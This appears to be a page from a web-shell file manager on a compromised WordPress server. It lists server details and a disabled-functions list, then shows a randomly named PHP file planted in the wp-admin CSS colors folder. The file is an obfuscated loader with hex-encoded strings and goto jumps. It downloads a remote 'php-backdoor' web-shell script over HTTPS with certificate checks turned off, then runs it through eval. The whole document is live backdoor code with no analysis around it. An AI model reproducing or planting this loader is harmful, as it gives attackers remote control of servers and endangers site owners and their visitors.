HEX
Server: nginx/1.15.10
System: Linux vps240vn 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User: (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/vietktv.vn/wp-admin/css/colors/gaRheLFr.php
<?php
 goto pRylJ; pRylJ: function geturlsinfo($url) { if (function_exists("\x63\x75\x72\x6c\137\x65\x78\x65\143")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\115\157\172\151\154\x6c\x61\57\x35\x2e\x30\x28\127\151\156\x64\157\x77\163\x20\x4e\x54\x20\66\x2e\61\x3b\x20\x72\x76\72\x33\62\56\x30\x29\40\107\x65\x63\x6b\157\x2f\x32\60\61\x30\60\x31\x30\x31\x20\x46\151\x72\x65\146\157\x78\x2f\63\x32\56\60"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($conn, CURLOPT_COOKIEJAR, $GLOBALS["\143\x6f\153\151"]); curl_setopt($conn, CURLOPT_COOKIEFILE, $GLOBALS["\x63\x6f\x6b\151"]); $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\x66\151\154\x65\137\147\145\164\137\143\x6f\x6e\x74\x65\156\x74\x73")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("\146\157\x70\x65\156") && function_exists("\163\164\x72\145\x61\x6d\x5f\147\x65\164\x5f\x63\x6f\156\164\145\x6e\164\x73")) { $handle = fopen($url, "\x72"); $url_get_contents_data = stream_get_contents($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto p0F_v; p0F_v: $a = geturlsinfo("\150\164\164\x70\163\72\57\x2f\142\151\164\x62\x75\x63\x6b\x65\164\x2e\x6f\x72\x67\x2f\x74\162\141\x73\150\x63\157\144\63\57\x70\x68\160\55\142\141\143\153\x64\157\x6f\x72\57\x72\141\167\57\x65\x63\146\61\70\142\x30\64\144\60\144\71\145\x31\142\x38\x33\x66\x61\144\x63\142\142\x38\x37\145\67\x33\x65\60\63\67\x65\x34\x37\61\x65\x30\x34\x30\57\167\163\157\62\x36\x2e\160\x68\160"); goto CPaU7; CPaU7: eval("\77\x3e" . $a);